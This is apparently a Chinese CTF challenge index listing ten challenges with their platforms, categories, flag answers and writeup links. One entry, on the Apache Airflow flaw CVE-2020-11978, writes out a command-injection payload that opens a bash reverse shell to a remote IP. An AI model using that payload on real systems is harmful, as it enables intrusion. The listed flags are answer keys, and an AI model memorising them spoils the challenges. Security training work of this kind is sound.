[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | BUUCTF | N1BOOK | [第一章 web入门]SQL注入-1 | n1book{note_union_injection} | https://www.jianshu.com/p/92647fe53dd1 | 第一章 web入门 | 7924 |
| 2 | 封神台 | WEB | 变长的反序列化逃逸(考点:反序列化) | - | https://bbs.zkaq.cn/t/6246.html#CTF-107 | - | 15000 |
| 3 | bugku | PWN | UAF4b | CakeCTF{uaf_1s_3asy_w1th_tcache}_486512778b4 | http://blog.lkan.onl/posts/cakeCTF_20... | cakectf2021 | 501 |
| 4 | 封神台 | WEB | 给你一雪球(考点:还原二维码) | - | https://bbs.zkaq.cn/t/6183.html | - | 14887 |
| 5 | ctfshow | PWN.1024杯 | 1024_happy_unlink | flag{9969e2ddd64088f71af0caa891b4dc63} | ... | 1024杯 | 3425 |
| 6 | ctfshow | MISC | 和36D有关系 | flag{36D_is_beautyful} | https://blog.csdn.net/m0_68012373/art... | - | 3091 |
| 7 | NSSCTF | 日志审计 | [陇剑杯 2021]日志分析(问1) | NSSCTF{www.zip} | https://www.cnblogs.com/zy4024/p/CTF-LOG.html | 陇剑杯 | 10353 |
| 8 | NSSCTF | RSA | [MoeCTF 2022]一次就好 | NSSCTF{W0w_y02_k5ow_w6at_1s_one_t1m3_pa7} | https://blog.csdn.net/suisuisama/arti... | MoeCTF | 11048 |
| 9 | BUUCTF | Web | [2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]jspxcms | 无 | https://cloud.tencent.com/developer/a... | 2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th | 5785 |
| 10 | 春秋云境 | WEB | CVE-2020-11978 | CVE-2020-11978是Apache Airflow命令注入漏洞,攻击者可通过触发示例DAG执行任意命令。复现步骤包括启动Vulhub环境、修改DAG配置触发命令注入,例如使用{"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}反弹shell 2 3。修复建议为升级至1.10.10以上版本或禁用默认DAG。 | https://blog.csdn.net/weixin_43847838... | 春秋云境 | 14678 |